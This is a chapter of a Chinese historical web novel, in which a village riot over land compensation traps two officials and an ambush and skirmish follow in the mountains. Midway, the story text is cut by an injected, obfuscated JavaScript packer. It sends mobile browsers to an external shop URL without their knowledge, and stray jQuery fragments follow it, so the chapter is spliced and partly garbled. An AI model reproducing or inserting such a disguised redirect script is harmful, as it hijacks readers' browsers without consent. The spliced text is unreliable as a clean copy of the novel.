10. 010
    不过一会的功夫,村里的男丁几乎都跟了过去,连半大点的孩童都手提木棍自发地跑在一旁,温璟跟在浩浩荡荡的人群后边,脸色沉肃。

    她想起山长在杂记里不止一次感叹过的岭南民风彪悍,心道果然与长安大有不同。

    因着沈长青早在村里露过脸,他俩只能一路擦着屋檐或树丛垂着头,试图掩人耳目。间或有一两个守在家门口往外瞅的妇人见着他们,眼神狐疑。

    她脸色不变,故作坦然地路过,脚步愈发快了,心悬得老高。

    等两人找到村口,掩在一处低矮的土墙后,悄不作声地打量着已经吵得不可开交的场面。两边的声音一个赛一个大,隔着老远都听得清,但说的却是土话,温璟听不懂。

    沈文青告一声罪,压低身子伏在她耳边,低声解释着。

    踩在墩子上比众人高了大半个头的钱县丞在一众人中格外显眼,他双臂抱胸,唇角下撇,一双眼喷着火:“唐族长,你这是要干什么?想造反么!”

    “我告诉你,你别不识相!要今日点头画押,给寒水村的赔偿就按之前说的来,祠堂一百两,一亩地一两,要今日不答应呢,这多一日钱数就砍一成,要十日过去,还没定,哼!一分都没有!”

    这话一出,仿若一颗火星子掉入了油锅,噼里啪啦地炸开了。

    “什么?一百两?”

    “祠堂只给一百两,欺人太甚吧!去年翻修祠堂村里都花了一百五十两不止!”

    “就是就是!”

    “一亩地一两怎么不去抢?就算把地卖给城里的老爷都能卖八两银子呢!”

    唐族长身边站着一个身着长衫的中年人,他一手指着钱县丞,气得声音都抖起来:“大人,上次都督府来人的时候,说的可是祠堂三百两,一亩地五两,隔壁广瞿县征地也是按这个价来的,你凭什么私自压价!”

    “呵,那是那天的价。”男人嗤笑一声,俾睨众人。

    “别忘了,那天都督府来的的沈长史和邹县丞可都被你们砸伤了,没把你们都抓进大牢就不错了!”

    “他们买药医治不用钱么?少的钱那都是你们赎罪的钱!”他伸手在虚空中点了点,神态越发高傲,看得村民们更加火大,灼灼目光好似要杀人一般。

    “一派胡言!”

    蹲在矮墙下的沈长青差点就要站起来,被温璟拽住了袖子才顿住,不甘不愿地蹲下来,原本苍白的脸红得能滴血,他双眼瞪着趾高气扬的男人,喘着粗气道:“我那日走时,早吩咐过县令不得追究。赔偿必须按照说好的来,若一时没有现钱,赊着账也得把这赔偿款给够了!”

    “怎么!怎么就成了给我的买药钱呢!”

    温璟瞥了一眼气得发抖的沈长青,声色冷然:“上有令而下不为,向来是施政最大的难处。这般逼迫,恐有大乱呐。”

    话毕,她转头看向人群,见唐族长脸色愈发暗沉,枯黄的脸上沟壑纵横,唯有一双眼利如鹰隼,正沉沉地盯着钱县丞,良久,他一抬手,周遭安静几分,义愤填膺的汉子们目光热切地注视着族长,好似只待他一声令下,就要冲上前去。

    “大人,那日老夫已经说得很明白了,唐家祖祖辈辈生活在寒水村,这祠堂和土地就是我们的命,别说一百两,便是一千两也没有商量的余地,请回吧。”

    他的话音刚落,身边的人皆起声应和,连那膝盖高的小子都挥舞着手中的半截长的木棍,大喝道:“狗官,滚!”

    钱县丞的脸瞬间涨成猪肝色,他伸出中指颤巍巍地怼着那威严赫赫的老者道:“唐族长,你别敬酒不吃吃罚酒!”

    “我告诉你们,今天不答应,我回去就亲自上禀州府,请孟团练派兵过来征收。”

    “孟团练总听说过吧?”他双手伸出,朝右方拱了拱,冷笑道:“上月,作恶多年的勐帮帮主都死在了他手下,就你们这些个人,还能抵抗到何时?”

    “识相的,就赶紧画押,不然,等死吧!”他恶狠狠道。

    孟团练三字一出,周边气氛一滞。

    温璟望着神色凝重的村民,眉间一跳,心跳慢了半拍,眼里闪过一丝讽刺。

    孟团练,呵。

    当年,长安主街上,辅国公的大公子刚用五两银子强买了花农的一株双色牡丹,刚走出一条街,就被人蒙着头揍了一顿,最后顶着一张肿成猪头的脸回去给花农补了五十两银钱。

    拿他说事,也就糊弄糊弄不知事的村民罢。

    沉默半晌,有人吼出了大家的心声:“简直欺人太甚!官府要逼死人了!”

    钱县丞脸上露出几分得色,把玩着手中的扇子:“识相点呢,就乖乖束手就擒,让我进去坐着把这事定了,不然……”

    “恩师,这,这钱令欺人太甚,我非得出去不成!”

    沈文青猛地站起,就要冲出去,却被温璟一刀挡在身前,她没有看他,眼神还停留在唐族长身上,见他低头和旁边身着长衫的男子耳语几句,右手朝身侧打了个手势,猛地抬头道:“不行,我们得先走!”

    话音未落,就见那长衫男子往前两步,一挥手,神色愤慨,声音激昂:“弟兄们,大家都听到了,今日实是官府要把我们唐家族人都打成反贼,逼上死路呀!”

    “与其让这狗官回去搬人围村,不如把他抓起来再说!”

    顷刻,混乱突起。最前方的汉子抢先一劈,砍掉了捕快手中半出鞘的长刀,飞身朝骑在马上的县丞扑去。

    紧跟着后头的人也纷纷朝离得最近的官吏扑过去,四五个围一个,全是干惯了农活的汉子,饶是见多识广的捕快都落了下乘。

    钱县丞又惊又怒,一面拍马向外跑一面喊道:“反了反了,快把他们抓起来!”

    突然,他被人抱住了腰侧,嘭得一下坠了马,双手被人反扣在背后,身上有一道声音恶狠狠道:“狗官,哪里跑!”

    惊变发生的下一瞬,沈文青下意识地颤了颤,连忙护着温璟往外走:“恩师,快走!”

    谁想到,被汉子摁在地上快喘不过气的钱县丞,猛一抬眼,瞥见几步远的巷子里飞奔而过的沈文青,顿时大叫:“沈长史!沈长史!救我!救我!”

    眼看就要绕过混战的人群,逃至村口的两人头都没回,脚步更快。

    眼下不是硬碰硬的时刻,搬来救兵才

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191413|150743||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是王道。

    但还是慢了。

    村口外早围了几个露着臂膀的壮汉,手里的长镰刀冒着刺眼的光,其中一人上下打量了一圈停住脚步的沈文青,阴晴不定道:“沈长史,请吧。”

    -

    夕阳渐渐沉下去,葱郁的灵秀山被染上了一层金色。

    偶有两三个猎人拖着满载的猎物往山下走,脚步轻快。

    一行骑兵却跑进了灵秀山,追逐着一个仓皇逃窜入山的黑衣人。

    那探子显然受了伤,边跑边回头,脚步越来越慢。

    很快,他摔了一跤,身形一矮,跌入一个草垛中,他挣扎着想要爬起来,却只听得身后的追兵越来越近。

    他的脸上全是汗水,闭目又睁开,眼中露出一丝疯狂,不知道哪来的力气竟是直接挑起,又跑了一段,跳入一个山坳中倒地不起。

    马蹄踏地声更近,他闭着眼,从怀中掏出了一个黑色的圆球,握在掌中,细看之下那手掌颤抖不已。

    一个兵卒翻身下马,一步步向那探子走近,正要俯身抓住他时,突然听见头儿的一声惊呼:“趴下,滚开!”

    骑兵听到声音,脑子尚未作答,但长久训练的身体已经先一步趴到并顺着草垛滚了下去。

    等他再反应过来时,只听耳旁一声巨响,继而有火光炸开。

    火光噼里啪啦地点燃了灌木,燃起一片火海,点亮了阴暗的密林。

    骑在马上的傅琰脸色凝重,继而耳尖微动,捕捉到了极其细微的响动,当机立断:“有敌袭,退!”

    还未走几步,山坳的另一侧又出现了一群骑兵,黑衣蒙面,与那探子一样的打扮,手持长刀,与刚越过火海的骑兵对视。

    下一刻,领头人一扬刀,喝道:“杀!”

    傅琰黑眸一眯,几乎看不清他是如何动的,马匹已越过奔腾的河水,直抵对岸,长剑一出,便有一个黑衣人落马。

    一道红箭直冲天际,热血如纷扬的雨水洒落,染红了他的脸颊,他却似全然不觉一般,眼里只盯着那个领头人。

    确切地说,是那双狭长泛白的眼。

    周遭的一切都似放慢了一般,他如静止画面中的一把利刃,硬生生从满目的黑色中劈开了一道,向着被一群人护在身后的人冲去。

    那人身量不长不短,全身被黑布裹着,坐于一匹棕色骢马上,只有那双眼露在外面,几乎凝成了一条白线,透过众人,直直地盯着冲来的傅琰,眼里全是狠意。

    傅琰在那道狠厉的目光注视下,手里的动作更快了几分,执着长刀的手臂全然不知疲倦,一下又一下,刀刃全是红意。

    噗的一声,飞扑到他背后的黑衣人中了一刀,沉沉地压在他身后,口中流出的血染上了他的颈侧,黏腻湿滑,他猛一抬头,对上那双眼。

    黑色面巾挡住了那人的下半张脸,他却好似能看见黑布下,薄唇上扬,扯出一个恶意又嘲讽的笑容。

    无数个画面如走马灯一般从脑海中闪过,战火,长箭,密林,几张画面交叠,隐去了大片的繁复,只余一双狭长冰冷的眼。

    黑沉的瞳孔一震,他终于搜寻到那一眼。